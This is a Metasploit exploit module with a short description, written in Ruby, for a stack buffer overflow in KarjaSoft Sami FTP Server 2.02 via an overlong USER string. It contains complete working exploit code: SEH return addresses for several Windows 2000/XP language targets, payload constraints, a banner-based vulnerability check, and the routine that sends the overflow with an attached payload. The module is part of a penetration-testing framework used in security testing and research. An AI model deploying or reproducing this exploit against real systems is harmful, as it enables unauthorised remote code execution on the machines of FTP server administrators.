This Metasploit module exploits the KarjaSoft Sami FTP Server version 2.02 by sending an excessively long USER string. The stack is overwritten when the administrator attempts to view the FTP logs. Therefore, this exploit is passive and requires end-user interaction. Keep this in mind when selecting payloads. When the server is restarted, it will re-execute the exploit until the logfile is manually deleted via the file system.
6cb784d4845ea1b6c196d1d46a851dc0d49ed8612c10d4a74bad8cb59def8b7e
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'KarjaSoft Sami FTP Server v2.02 USER Overflow',
'Description' => %q{
This module exploits the KarjaSoft Sami FTP Server version 2.02
by sending an excessively long USER string. The stack is overwritten
when the administrator attempts to view the FTP logs. Therefore, this exploit
is passive and requires end-user interaction. Keep this in mind when selecting
payloads. When the server is restarted, it will re-execute the exploit until
the logfile is manually deleted via the file system.
},
'Author' => [ 'patrick' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Stance' => Msf::Exploit::Stance::Passive,
'References' =>
[
# This exploit appears to have been reported multiple times.
[ 'CVE', '2006-0441'],
[ 'CVE', '2006-2212'],
[ 'OSVDB', '25670'],
[ 'BID', '16370'],
[ 'BID', '22045'],
[ 'BID', '17835'],
[ 'URL', 'http://www.milw0rm.com/exploits/1448'],
[ 'URL', 'http://www.milw0rm.com/exploits/1452'],
[ 'URL', 'http://www.milw0rm.com/exploits/1462'],
[ 'URL', 'http://www.milw0rm.com/exploits/3127'],
[ 'URL', 'http://www.milw0rm.com/exploits/3140'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Platform' => ['win'],
'Privileged' => false,
'Payload' =>
{
'Space' => 300,
'BadChars' => "\x00\x0a\x0d\x20\xff",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll
[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd11a9 } ], # p/p/r ws2help.dll
[ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa12bc } ], # p/p/r ws2help.dll
[ 'Windows XP SP0/1 - English', { 'Ret' => 0x71aa32ad } ], # p/p/r ws2help.dll
],
'DisclosureDate' => 'Jan 24 2006'))
register_options(
[
Opt::RPORT(21),
], self.class)
end
def check
connect
banner = sock.get(-1,3)
disconnect
if (banner =~ /Sami FTP Server 2.0.2/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sploit = Rex::Text.rand_text_alphanumeric(596) + generate_seh_payload(target.ret)
login = "USER #{sploit}\r\n"
login << "PASS " + Rex::Text.rand_char(payload_badchars)
sock.put(login + "\r\n")
handler
disconnect
end
end